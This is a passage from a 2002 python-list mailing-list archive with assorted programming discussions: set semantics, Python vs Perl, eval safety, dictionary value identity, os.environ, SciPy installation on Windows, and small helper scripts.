presumed it was using References: to do so (although I've noticed a lot more split threads recently with the same subjects). I should have known Outlook would not be so intelligent though. * Tim hangs his head in shame Tim Delaney From ianb at colorstudy.com Mon May 20 22:21:49 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 20 May 2002 21:21:49 -0500 Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: <slrnaejag0.3oi.huaiyu@gauss.almadan.ibm.com> References: <mailman.1021563929.29487.python-list@python.org> <3CE55E8B.1B80EBE3@alcyone.com> <mailman.1021671870.10847.python-list@python.org> <3CE58D54.BD046D02@alcyone.com> <mailman.1021689631.564.python-list@python.org> <3CE5E0D9.6B97951F@alcyone.com> <slrnaeids4.ql.huaiyu@gauss.almadan.ibm.com> <3CE95E02.BAC56F61@alcyone.com> <slrnaejag0.3oi.huaiyu@gauss.almadan.ibm.com> Message-ID: <1021947709.693.134.camel@localhost> On Mon, 2002-05-20 at 20:59, Huaiyu Zhu wrote: > id(a) === id(b) implies a === b > a === b implies a==b > a === b implies hash(a) === hash(b) > a == b, a is const, b is const implies a === b This is kind of like in Scheme, which has four equal functions -- eq?, eqv?, equal? and =. eq? is the same as "is". equal? and = are like "==" (= in Scheme is just for numbers). You are proposing the middle ground of eqv? (stands for equivalent) R5RS probably clarifies the semantics for eqv? in Scheme, it might be useful to consider. Ian From jb at cascade-sys.com Thu May 9 12:39:51 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 09 May 2002 09:39:51 -0700 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <82bsbvl5q1.fsf@acropolis.localdomain> <ab3ebr$9o7$1@panix1.panix.com> <82adrehag0.fsf@acropolis.localdomain> <ab40pf$ajd$1@panix3.panix.com> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> <mailman.1020849410.32598.python-list@python.org> <3CD92111.7060704@mxm.dk> <mailman.1020911902.16696.python-list@python.org> <878z6tx3fo.fsf@tower.localdomain> Message-ID: <3CDAA657.6C038A4@cascade-sys.com> Patrick W wrote: > IOW, how many is "many" and how fast is "fast enough"? These questions > aren't really answerable without knowing more than we can know. So > let's bury the dead and subsequently flogged horse, eh? ;-) Well, I think it's meaningful to talk about and distinguish between "many" and "few" without trying to quantify matters further. I.e. my previous question to MaxM was rhetorical. I think I made a valid point without quantifying "many". > On a slightly different note, I've found that Python has occasionally > helped me to *speed up* an application quite significantly. Reason > being that, in C++, poor algorithms were not as easily noticeable > whereas in Python they're intolerable. I can't say that ever happened to me but I can see your point. Funniest mistake I ever ran into was at one point I was supposed to come up with a simple encryption algorithm. Somehow I discovered "TEA" the Tiny Encryption Algorithm, which sounded ideal: http://vader.brad.ac.uk/tea/tea.shtml I figured it'd be easier to prototype in Python and in the application in question, performance wasn't an issue. The web page had a C version of the algoritihm which I converted to Python in an hour or two. I try running it and right off I start getting integer overflow exceptions. Of course, the algorithm relied on a Ring of 32 bit integers and Python complains about overflow. I was not aware of a way to shut off the overflow checks (still don't) and exceptions wouldn't help as they give you control after the bad code has been taken out of circulation. I pondered for a while adding the necessary masking operations but decided it was not sane. Ended up doing it in C++ and it worked just fine. Pretty slick little algorithm for day to day use, although I don't know how secure it really is. > Actually, here's a more realistic example: The other day somebody > asked for advice on how to store and retrieve entries in a dictionary > using an arbitrary combination of elements in a tuple as keys. Not > understanding his problem correctly, I suggested that he use a > permutation algorithm as part of the solution. If he'd taken my > advice, no language in the world could have saved his skin ;-) It always helps to step back and look at the big picture. I notice that's a common failing of newbies, that they ask an overly specific question. I sense this is a human failing, as my kids do it about non-programming matters. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From bh at intevation.de Fri May 17 05:43:24 2002 From: bh at intevation.de (Bernhard Herzog) Date: 17 May 2002 11:43:24 +0200 Subject: how to determine an 'open' string? References: <20020516164007.A28033@prim.han.de> <mailman.1021571074.13896.python-list@python.org> <6q1yccgch9.fsf@abnoba.intevation.de> <mailman.1021579529.18890.python-list@python.org> Message-ID: <6qwuu3xg77.fsf@abnoba.intevation.de> Skip Montanaro <skip at pobox.com> writes: > >> How about just trying to eval() the string? Assuming it begins with > >> a quotation mark or apostrophe it should be safe to call eval(). > > Bernhard> If you mean the builtin eval without any form of restricted > Bernhard> execution, you're not safe. > > Whoops! Thanks. Them dang paren-less tuples! I could have used any other expression that can start with a string literal, like "" + something as in some other postings. The tuple syntax had the big advantage that it doesn't matter what the part after the comma evaluates to as long as it doesn't raise any exceptions. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From bokr at oz.net Thu May 16 14:46:56 2002 From: bokr at oz.net (Bengt Richter) Date: 16 May 2002 18:46:56 GMT Subject: beginner question: extending python types References: <MPG.174a4c2368d83470989680@news.rz.uni-karlsruhe.de> <abu0ea$l3qin$1@ID-114079.news.dfncis.de> <3CE318F4.5030506@horvath.com> <lkoffgpft4.fsf@pc150.maths.bris.ac.uk> <fwOE8.10785$e66.1048358@bin6.nnrp.aus1.giganews.com> Message-ID: <ac0ur0$3ol$0@216.39.172.122> On Thu, 16 May 2002 13:30:51 GMT, "Terry Reedy" <tjreedy at udel.edu> wrote: >> > > * Uwe Mayer >> > > |>I found Python lacking the type of a "set". i.e. an unordered >list. > >> > Jeremy Yallop wrote: >> > > Use a dictionary, with the same value (1) for every key. > >> Bob Horvath <usenet at horvath.com> writes: >> > Is there any significance to the value 1? > >"Michael Hudson" <mwh at python.net> wrote in message >> In this context, no. It might be a tad confusing to have something >> that was false, so None, 0 and () might be bad choices. But I don't >> think there's a good reason. > >For choosing between 0 and 1, confusion is the only reason to choose >1. However, in the current C implementation, there are reasons to >reject the others. 'Small' ints are preallocated and handled >specially (more efficiently) by the compiler. A set with 100000 >members would have 100000 pointers to the same preallocated object. >The same would be true for None, but 'None' would be looked up in both >module and builtin dicts 100000 times. '{}' or '()' would generate >100000 empty and useless objects. > >If/when None is made a keyword, it *might* become the more efficient >choice since it would then be special-cased even earlier than 0/1. > I was going to post something a lot like the above (until I started generating examples ;-) ... You may or may not get multiple objects for the dummy directory entry value. E.g., if you are using a constant literal to set the values in one statement, the code generated for that statement is going to use the same constant. (Multiple identical literals in the same scope also appear to share the same value object, as one would hope, but I don't know if that is a bullet proof assumption). >>> d={} >>> for x in 'abcd': d[x]=1234 ... >>> map(id,d.values()) [7952224, 7952224, 7952224, 7952224] On the other hand, if the value is generated dynamically or in a different scope, as opposed to a constant literal, then (note the first three get the same identical value vs the others): >>> d={'a':1234,'b':1234,'c':(lambda x:x)(1234),'d':(lambda:1234)(), ... 'e':1233+1,'f':int('1234'),'g':eval('1234')} >>> map(id,[d[x] for x in 'abcdefg']) [8203428, 8203428, 8203428, 8203440, 8203356, 8203452, 8203692] Or, to make it clearer: >>> dtext="""{'a':1234,'b':1234,'c':(lambda x:x)(1234),'d':(lambda:1234)(), ... 'e':1233+1,'f':int('1234'),'g':eval('1234')}""".split(',') >>> for k in 'abcdefg': print k,d[k],id(d[k]),'<=',dtext[ord(k)-ord('a')].strip() ... a 1234 8203428 <= {'a':1234 b 1234 8203428 <= 'b':1234 c 1234 8203428 <= 'c':(lambda x:x)(1234) d 1234 8203440 <= 'd':(lambda:1234)() e 1234 8203356 <= 'e':1233+1 f 1234 8203452 <= 'f':int('1234') g 1234 8203692 <= 'g':eval('1234')} Running the same test with 1, you get a reference to the magically cached value: >>> d={'a':1,'b':1,'c':(lambda x:x)(1),'d':(lambda:1)(), ... 'e':0+1,'f':int('1'),'g':eval('1')} >>> map(id,[d[x] for x in 'abcdefg']) [7952992, 7952992, 7952992, 7952992, 7952992, 7952992, 7952992] >>> dtext=""" 'a':1,'b':1,'c':(lambda x:x)(1),'d':(lambda:1)(), ... 'e':0+1,'f':int('1'),'g':eval('1')""".split(',') >>> for k in 'abcdefg': print k,d[k],id(d[k]),'<=',dtext[ord(k)-ord('a')].strip() ... a 1 7952992 <= 'a':1 b 1 7952992 <= 'b':1 c 1 7952992 <= 'c':(lambda x:x)(1) d 1 7952992 <= 'd':(lambda:1)() e 1 7952992 <= 'e':0+1 f 1 7952992 <= 'f':int('1') g 1 7952992 <= 'g':eval('1') On the other hand, as the 'c' examples show, you should be able to make up any value and re-use it as a single value by referring to it by name: >>> a_value=('clunky','generated','value',123*10+4) >>> id(a_value) 8000816 >>> d={} >>> d[1]=a_value >>> d[2]=a_value >>> d[3]=a_value >>> map(id,[d[x] for x in 1,2,3]) [8000816, 8000816, 8000816] So the memory explosion is not a foregone thing. (Speed of access is related and also varies, depending). Regards, Bengt Richter From rmelson at gilia.nmsu.edu Wed May 1 10:56:37 2002 From: rmelson at gilia.nmsu.edu (Bob Melson) Date: 1 May 2002 14:56:37 GMT Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <aamjat$qku$1@panix1.panix.com> <aamm5k$kv3$1@bubba.NMSU.Edu> <tq7naa.ik1.ln@127.0.0.1> Message-ID: <aaovn5$agm$2@bubba.NMSU.Edu> In article <tq7naa.ik1.ln at 127.0.0.1>, Carl Banks <imbosol at vt.edu> writes: > "Bob Melson" wrote: >> In article <aamjat$qku$1 at panix1.panix.com>, >> aahz at pythoncraft.com (Aahz) writes: >>> In article <mailman.1020147892.13578.python-list at python.org>, >>> Andrew McNamara <andrewm at object-craft.com.au> wrote: >>>> >>>>I'd go as far as to say the >>>>sendmail.cf language is simpler, easier to learn and maintain than perl. >>> >>> .sigfile? >> >> Look at it this way -- you pick the best language tool to do the job at >> hand. If python is the better language for that job, you use python; if >> it's perl, then you use perl; if it's some other language, you use _that_ >> language. If you're asked to build a house, you certainly don't confine >> yourself to a single tool -- you use the tools appropriate to the job you >> have to do; why should it be different with scripting languages? > > > So you agree that he shouldn't bother with Perl. > > Nope. Bob From pajer at iname.com Mon May 6 13:06:35 2002 From: pajer at iname.com (Gary Pajer) Date: Mon, 06 May 2002 17:06:35 GMT Subject: SciPy won't install (Win98) References: <9uwB8.105409$Lj.7956538@bin4.nnrp.aus1.giganews.com> <ab67u7$fj5bv$1@ID-59885.news.dfncis.de> Message-ID: <vKyB8.106002$Lj.8083489@bin4.nnrp.aus1.giganews.com> Thanks, but no luck yet. Your installer script returns with "File name in directory "gui_thread/examples.py" and header "gui_thread\examples.py" differ. Note the slashes. They are different. There must be some rediculously easy solution if the problem is the slash. Further comments: --the published SciPy prereqs say "Python 2.1 or better" (I have Python 2.2 in c:\python22) --examples.py is the *second* file in the archive, the first being gui_thread\__init__.py. Why might it choke on the *second* entry? I have no way of knowing if it swallowed the first. --my file is a exe, not a zip. Does your script care? BTW, that script is a great idea. -Gary "Thomas Heller" <theller at python.net> wrote in message news:ab67u7$fj5bv$1 at ID-59885.news.dfncis.de... > "Gary Pajer" <pajer at iname.com> wrote in message news:9uwB8.105409$Lj.7956538 at bin4.nnrp.aus1.giganews.com... > > I just downloaded the SciPy installation .exe, and it won't run properly. > > The second screen asks me to choose which installation of Python I'd like to > > put SciPy in. But the field is blank, and down below in the text control > > box, there is a blinking grey cursor, but I can't type anything into the > > field. I downloaded it again: no change. > > This is a 'feature' of distutils' bdist_wininst installer: It only > displays those Python versions compatible with the installer. > Apparently the scipy guys built it for Python 2.3 (that's the current > CVS version in development). > But there is hope: If you want to install from a bdist_wininst installer > (which gives you the uninstall feature), you can build it yourself. > The most convenient way to do this is probably to use this cookbook > recipe: > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/117248 > > Thomas > > > From pyth at devel.trillke.net Thu May 16 11:30:13 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 17:30:13 +0200 Subject: Strange result on os.environ In-Reply-To: <2cj7eucrjmbqj509b29jeaf6no6lgqboa5@4ax.com>; from op73418@mail.telepac.pt on Thu, May 16, 2002 at 04:22:50PM +0100 References: <2cj7eucrjmbqj509b29jeaf6no6lgqboa5@4ax.com> Message-ID: <20020516173013.D28033@prim.han.de> Gon?alo Rodrigues wrote: > Hi, > > os.environ is supposed to be a mapping with keys the environment > variables. Then what does it mean the following? > > PythonWin 2.2.1 (#34, Apr 15 2002, 09:51:39) [MSC 32 bit (Intel)] on > win32. > Portions Copyright 1994-2001 Mark Hammond (mhammond at skippinet.com.au) - > see 'Help/About PythonWin' for further copyright information. > >>> import os > >>> for key in os.environ: > ... print key > ... > Traceback (most recent call last): > File "<interactive input>", line 1, in ? > File "C:\Python22\lib\os.py", line 387, in __getitem__ > return self.data[key.upper()] > AttributeError: 'int' object has no attribute 'upper' environ isn't really a dictionary. try for key in os.environ.keys(): print key IIRC there recently was a patch for better behaviour but don't count on it. holger From joost_jacob at hotmail.com Mon May 6 20:03:23 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 6 May 2002 17:03:23 -0700 Subject: making python scripts backwards compatible References: <mailman.1020557468.13890.python-list@python.org> <13285ea2.0205042356.15ab8c30@posting.google.com> <EjuB8.57865$v92.5374@atlpnn01.usenetserver.com> Message-ID: <13285ea2.0205061603.46d4cce@posting.google.com> > [Steve Holden] > ...and of course you *did* make sure your patches are available so others > needing the same feature can easily get hold of them, right? It was just a quick hack to see if it would work with python 1.5.2, but anyway here it is: http://www.liacs.nl/~jjacob/xmlrpc152.zip To start a server: python SimpleXMLRPCServer.py To start a client on the same computer using that server: python clocal.py Replace 'localhost' in the clocal.py script with the server IP number if the server is on another computer. NOTE that the xmlrpclib.py and SimpleXMLRPCServer.py scripts are NOT the original anymore ! > [Steve Holden] > ...and, if so, you *are* going to track future changes to the module so your > backward-s compatible version remains forward-compatible to later Pythons, > right? I got your point :) It was just for demonstration purposes. later: Tried to put something on sourceforge but could not get cvs to work from Windows, gave up after about 1 hour. Anybody knows a good cvs program for windows that is compatible with sourceforge !?!? (so you can do just what they say on the 'cvs-help' page) From python at rcn.com Tue May 14 12:42:19 2002 From: python at rcn.com (Raymond Hettinger) Date: Tue, 14 May 2002 12:42:19 -0400 Subject: generated comprehensions References: <4c877253.0205132231.6d286d0b@posting.google.com> <20020514220823.35e11acb.larooy@xtar.co.nz> Message-ID: <abrerv$ii5$1@bob.news.rcn.net> > This did occur to me on reading your post, and the result did startle me a little: > > Python 2.2.1 (#2, Apr 21 2002, 22:22:55) > [GCC 2.96 20000731 (Mandrake Linux 8.1 2.96-0.62mdk)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> list(xrange(1e9)) > Segmentation fault Hmm. That's not cool. Added bug report: www.python.org/sf/556025 . Raymond Hettinger From kragen at pobox.com Wed May 15 17:04:19 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 15 May 2002 17:04:19 -0400 Subject: Merging contents of two files References: <3CE26265.54F83CAB@dlr.de> <3CE2BAD2.D7094091@dlr.de> Message-ID: <837km55dik.fsf@panacea.canonical.org> Katharina.Pergens at dlr.de writes: > Sorry sending a html file. Once again. > So what I have is a text file (.txt) like the following: > > Abbreviation Explanation File Line > ------------ ----------- ---- ---- > xyz comment for class /home/de/abc.java 13 > ... ... ... ... > > The txt file contains of several lines and rows. The rows are seperated > by tabs. > The source file (mentioned as row 'File' in txt file) are java files. I > search for firstname.secondname in the header: > * Created: dd/mm/yyyy firstname.secondname > > How to write the script. Thanks for your help!! Something like this (untested): import linecache, re headerre = r"reated: \d\d/\d\d/\d\d\d\d (?P<firstname>.*)\.(?P<secondname>.*)" fileinfo = [line.split("\t") for line in open("infofile.txt").readlines()] for abbrev, explanation, filename, line in fileinfo: line = int(line) createdline = linecache.getline(filename, line) match = re.search(headerre, createdline) if not match: print "Line %s of %s didn't look right; it said %s" % (line, filename, createdline) else: print "abbrev %s was by first name %s second name %s" % (abbrev, match.group("firstname"), match.group("secondname")) I'm not entirely sure what output you want and whether the line number in your text file has the Created: comment in it. If not, it might be better to just read the file and use re.search to find the Created: line. Also, I don't know how accurately folks follow the Created: convention, an I haven't tested the code. But I hope this gets you started. From shagshag13 at yahoo.fr Mon May 13 16:55:00 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 13 May 2002 13:55:00 -0700 Subject: OO, complexity and toons... Message-ID: <409a56e2.0205131255.104a509f@posting.google.com> Hello, Imagine we have toons, cartoon and a huge cartoons encyclopedia... class toon: __init__(self, name, kind): self.name = name self.kind = kind ... t1 = toon('Daffy', 'duck') t2 = toon('Bugs', 'bunny') t3 = toon('Babs', 'bunny') t4 = toon('Mickey', 'mouse') t5 = toon('Minnie', 'mouse') t6 = toon('Bugs', 'bug') # another Bugs ... ti = toon('Jerry', 'mouse') ... tn = toon('Tom', 'cat') class cartoon __init__(self, title, *featuring): self.title = title self.featuring = featuring ... c1 = cartoon('title1', (t1, t2, t3)) c2 = cartoon('title2', (t4, t5)) c2 = cartoon('title2', (t2, t3)) ... cm = cartoon('titlem', (ti, tj, ... tn)) class cartoons # a huge cartoons encyclopedia = collection of m cartoon # (c1, c2, c3, ... cm) ... n should be > 10,000 and m > 500,000 I am looking for the best data structure to handle this in python (i'm not sure that theses classes are well suited for a "good object model"), and more important the best way to search through cartoons [efficiently = O(p*log p) ???], all cartoon featuring theses properties : - with Bugs bunny and another bunny, - featuring toons whose name is Bugs, - featuring toons which are mouse - featuring Mickey (mouse) and Donald (duck) and Dingo (*any*) and ... and so on... And i was wondering if i should handle this with "list" with python index() method, having strict equality (name and kind), lenient (name or king) and how should i do that... thanks in advance for helping my toons... From rpm1deletethis at frontiernet.net Sun May 5 07:28:30 2002 From: rpm1deletethis at frontiernet.net (RPM1) Date: Sun, 5 May 2002 07:28:30 -0400 Subject: Using functional tools References: <mailman.1020508027.27672.python-list@python.org> <ud7i2346refn9c@corp.supernews.com> <R1QA8.3395$zW3.81955@news1.tin.it> <ud8scnfuemro8d@corp.supernews.com> <j75B8.5415$CN3.205193@news2.tin.it> Message-ID: <uda5tqdb1drs6a@corp.supernews.com> "Alex Martelli" <aleax at aleax.it> ... > RPM1 wrote: > ... > > Actually I like the Numeric solution. And since this is a chess program, > > this function will easily be called 100's of millions of times. So ANY > > savings is worth while. > > Do consider moving to Numeric for all your array/handling, rather than > just using it for a few manipulations with transformation to/from lists: > you may be able to get substantial acceleration this way. There's just one problem. When I try to download Numeric, I keep getting 'page not found' from Source Forge. Patrick From shalehperry at attbi.com Thu May 30 19:18:53 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Thu, 30 May 2002 16:18:53 -0700 (PDT) Subject: matching one time through a loop In-Reply-To: <B43D149A9AB2D411971300B0D03D7E8BF0A331@natasha.auslabs.avaya.com> Message-ID: <XFMail.20020530161853.shalehperry@attbi.com> On 30-May-2002 Delaney, Timothy wrote: >> From: Corey G. [mailto:ctgaff at attbi.com] >> >> This comment made me realize just how little I know about >> Python. Well, >> it's only been 3 days now, but none the less. >> >> By moving the regex out of the loop and only compiling it once, the >> script is 3x faster than before and now out performs my original Perl >> script. > > This needs to be added to the comparisons page ;) > depends, was it naive perl too? From gh_pythonlist at gmx.de Thu May 16 16:33:54 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Thu, 16 May 2002 22:33:54 +0200 Subject: which db should I use? In-Reply-To: <7358eu4sajahjibovl2m5p1coa11s0t01o@4ax.com> References: <mtanba.i1f.ln@127.0.0.1> <mailman.1021261941.23977.python-list@python.org> <5oonba.f4l.ln@127.0.0.1> <5asvba.8ha.ln@217.11.196.198> <3CE3C6D3.A94E7629@engcorp.com> <7358eu4sajahjibovl2m5p1coa11s0t01o@4ax.com> Message-ID: <20020516223354.A3652@gargamel.hqd-internal> * Tino Lange <tl_news at nexgo.de> [2002-05-16 22:24 +0200]: > But originally David has written > > >> Have a look > >> at http://firebird.sourceforge.net/ and http://www.ibphoenix.com/ > >> A Python interface is available, of course, as well as a Zope database > >> adapter. > > This sounds more like an "official" Python API to me, not like just > "googling" for something available. But on those pages I could not > find anything about Python integration. A misunderstanding perhaps. If you look hard enough, you'll find a link to the Python interface on the ibphoenix page ;-) Your options to natively Interbase from Python are gvibDA (just use the DB-API part of this Zope Database Adapter) and kinterbasdb. kinterbasdb looks to be more actively developped atm (after a period of inactivity, it's got a new maintainer). Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 19.5 ?C Wind: 1.0 m/s From python at floSoft.org Wed May 29 11:23:21 2002 From: python at floSoft.org (steindl fritz) Date: Wed, 29 May 2002 15:23:21 GMT Subject: variable X procuct - [(x,y) for x in list1 for y in list2] References: <1022619068.34271@newsmaster-04.atnet.at> Message-ID: <1022686332.297659@newsmaster-04.atnet.at> steindl fritz wrote: hello and many thx to all, ---------------------------------------------- my shortest version was only like this )-: def cross(listOfLists): if len(listOfLists) == 1: grid = [] for i in range(len(listOfLists[0])): grid.append([listOfLists[0][i]]) return grid else: list = listOfLists.pop(0) grid = cross(listOfLists) lengthList = len(list) lengthGrid = len(grid) for i in range(lengthList-1): for j in range(lengthGrid): newList = [] for i in range(len(grid[j])): newList.append(grid[j][i]) grid.append(newList) for i in range(lengthList): for j in range(lengthGrid): grid[i*lengthGrid + j].append(list[i]) return grid <btw> generators will not be working with my ZOPE 2.5 installation (python 2.1.2) ------------------------------------------------ the shortest version was like this - def cross(x): if x == []: return [[]] ? ? return [[z]+y for y in cross(x[1:]) for z in x[0]] Usage: cross([list1,list2]), cross([list1,list2,list3]), ... special thx to Paul -------------------------------------------------- steindl fritz (-:fs) vienna, earth, universe From peter at engcorp.com Thu May 30 19:15:00 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 19:15:00 -0400 Subject: Crashing IDLE References: <mailman.1022790709.4988.python-list@python.org> Message-ID: <3CF6B274.2F090A3C@engcorp.com> Gustavo Cordova wrote: > > David LeBlanc wrote: > > "NOP" at the assembly language level does all those things! Events and > > interrupts are generally sensed at instruction/statement boundaries, and > > "pass" would (or should!) count as such. Methinks at a higher level of > > abstraction (but not really), the pcode interpreter loop > > should be doing > > this too. > > Woops, you are so right, and me and my big mouth should keep quiet. [snip] > pd: Isn't it "halt" which does all those things? > My Z80 knowledge is becoming hazy... Instructions like HALT simply put the CPU into a state where *all* it does is sit and check for interrupts, and sometimes bump timer registers along. It is in suspended animation, not reading or writing memory or incrementing the program counter. Instruction NOP is a "live" instruction which executes just like any other instruction except that it leaves no side effects of any kind except an increase in the program counter and a small time delay (a couple of clock cycles). It does not, however, *prevent* checking for interrupts which is always done (when they're enabled) after each instruction. Of course, with the gazillion different chips out there, I'm sure there are some that do things a little different, but these two are generally similar (if present) on all typical micros. -Peter From phd at phd.pp.ru Tue May 28 03:49:39 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 28 May 2002 11:49:39 +0400 Subject: ncurses python2.2.1 In-Reply-To: <slrnaf6lh1.8o.somebody@darkstar.example.net>; from somebody@nowhere.com on Mon, May 27, 2002 at 10:03:15PM +0000 References: <slrnaf5gj5.6na.somebody@darkstar.example.net> <lk6619n7bs.fsf@pc150.maths.bris.ac.uk> <slrnaf6lh1.8o.somebody@darkstar.example.net> Message-ID: <20020528114939.B27752@phd.pp.ru> On Mon, May 27, 2002 at 10:03:15PM +0000, Sean Richards wrote: > Thanks that put me on the right track. I had TERM=xterm-color for some > long forgotton reason. Once I set to TERM=rxvt then that sorted the > problem. Many programs (vim and mc, e.g.) recognize color and mouse support only if the term name is *xterm*. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From gerhard at bigfoot.de Wed May 8 12:14:55 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 8 May 2002 16:14:55 GMT Subject: Comments References: <Pine.LNX.4.33.0205081059490.3639-100000@vampire.cs.utexas.edu> Message-ID: <slrnadijnv.ml.gerhard@lilith.my-fqdn.de> Rajat Chopra wrote in comp.lang.python: > Does anyone know if Python supports multi-line comments? I believe Java > and C++ (and even non-ANSI C) have /* ... */ for multi-line. Does Python > have anything comparable? No. To temporarily disable blocks of source code, you can use "if 0:". For documenting functions, methods, classes and modules, you usually use docstrings. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From donn at u.washington.edu Wed May 29 16:35:48 2002 From: donn at u.washington.edu (Donn Cave) Date: 29 May 2002 20:35:48 GMT Subject: create a tmp file for system execution References: <3CF4E711.8A175798@millfilm.co.uk> <ad3bkt$83b$0@216.39.172.122> Message-ID: <ad3e34$223s$1@nntp6.u.washington.edu> Quoth bokr at oz.net (Bengt Richter): ... | wouldn't it be faster to do a single ls F.* command piped to a grep for | the decimal extensions, then to a python script for sorting and final formatting | or whatever you want to do with the file names? Or am I missing something? You might have missed Jurgen Hermann's observation that something like this might be done most easily directly in Python. If the question really is only "how can I list these files", then I'd go with os.listdir() and fnmatch.fnmatch(). Donn Cave, donn at u.washington.edu From whisper at oz.net Thu May 30 22:29:05 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 30 May 2002 19:29:05 -0700 Subject: widget needed which widget set provides it? In-Reply-To: <pan.2002.05.29.15.00.39.695519.147@no-spam.netscape.net> Message-ID: <GCEDKONBLEFPPADDJCOECEMGDFAA.whisper@oz.net> What you want is a combo/dropdown box that returns an event for each character typed and then you do the incremental search/filtering. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of grant > Sent: Thursday, May 30, 2002 8:00 > To: python-list at python.org > Subject: Re: widget needed which widget set provides it? > > > On Thu, 30 May 2002 01:04:41 -0700, Nagy Gabor wrote: > > > Hi! I'd like to have a widget, just like the location bar of current web > > browsers: a combobox, that folds down automatically when the user starts > > typing in it, and as he types further, the list of available selections > > is filtered according the pattern he's given. > > > > I simply want the user to be able to choose one from tens or hundreds of > > names, or to add a new one, and location bars seem to be a very > > convenient way to do this. > > > > I always used TkInter so far (not too many times though), and now I > > checked python megawidgets, but they do not provide this widget. > > > > Which other widget set do you suggest? > > > > It has to run on unices and windows of course. > > > > Regards > > Gee > > Give wxpython a look. It has tons of widgets and super easy to port from > windows to linux. Follows OOP very nicely to subclassing widgets helps > make the code easier to read.... :) > -- > http://mail.python.org/mailman/listinfo/python-list From sholden at holdenweb.com Fri May 10 14:14:45 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 14:14:45 -0400 Subject: Is there such a beast as a "perfect" shuffle? :) References: <mailman.1021051338.6911.python-list@python.org> Message-ID: <O9UC8.62231$m26.17813@atlpnn01.usenetserver.com> "Sean 'Shaleh' Perry" <shalehperry at attbi.com> wrote ... > > On 10-May-2002 Christos Georgiou wrote: > > I needed a function that, given a sequence and a number, would produce > > the <number>th permutation of the sequence. I thought I once saw such a > > function, but using google (web and groups) couldn't find it, so I wrote > > one of my own (it's at the ASPN cookbook site: > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/126037 ) > > Basically, this was because I was aiming for a "perfect" shuffle of a > > deck of 52 cards, so I wanted to reduce the "randomness" factor to only > > one number. > > > > I seem to remember reading an article linked off of slashdot where they go into > the dynamics of shuffling cards and how to ensure a full spread of > possibilities. > > There may or may not be a site talking about this in the context of python, but > anything they say should be relevant. > Slashdot!?!? Relevant!?!?! That's expecting a bit much, surely... those-people-have-no-life-beyond-"first-post!"-ly y'rs - steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From ragu at stromix.com Tue May 7 16:46:22 2002 From: ragu at stromix.com (Ragu Bharadwaj) Date: 7 May 2002 13:46:22 -0700 Subject: taglibs equivalent in Python Message-ID: <32a4746e.0205071246.744a0f2a@posting.google.com> Is there an equivalent to Java Taglibs in Python? I'm considering Python for a web project where it'd be useful to have taglib like functionality which could encapsulate common functions. cheers -Ragu Real Programmers don't eat quiche. They eat Twinkies and Szechwan food. From tritran2001 at iprimus.com.au Sun May 26 00:52:59 2002 From: tritran2001 at iprimus.com.au (Occean) Date: Sun, 26 May 2002 04:52:59 GMT Subject: Working with directory Message-ID: <20020526.145248.1350573793.20446@iprimus.com.au> I have to write the function that read in to the existing directory and display some files according to their date for example, in my PyExample directory i got practice1.py Thu Mar 16 11:54:21 2002 practice2.py Thu Mar 17 10:25:22 2002 .. practice7.py Friday Apr 28 1:20:22 2002 i want to just get 2 files from that directory which are from Mar or specific time only. How can i do that, and which built in function allow me to view all the file in directory with time. By looking the reference os.time.stat but i can't work out the solution for this problem. From whisper at oz.net Wed May 15 14:30:17 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 15 May 2002 11:30:17 -0700 Subject: tkinter grid control Message-ID: <GCEDKONBLEFPPADDJCOEKEJLDCAA.whisper@oz.net> Is there one? If so, where can I find it? David LeBlanc Seattle, WA USA From Mike_Bohr at gmx.net Tue May 14 03:30:09 2002 From: Mike_Bohr at gmx.net (Bohr, Mike) Date: Tue, 14 May 2002 09:30:09 +0200 Subject: Tkinter Configuration References: <abo6r2$j263u$1@ID-143325.news.dfncis.de> <abok3s$jf8$1@wanadoo.fr> <aboqok$k3q2v$1@ID-143325.news.dfncis.de> <83sn4wkjy9.fsf@panacea.canonical.org> Message-ID: <abqef3$keub5$1@ID-143325.news.dfncis.de> I've no libtk* and no _tkinter* module. No Files and no entrys in files... and they'll not be created... what can I do? From jepler at unpythonic.net Tue May 28 21:45:43 2002 From: jepler at unpythonic.net (jepler at 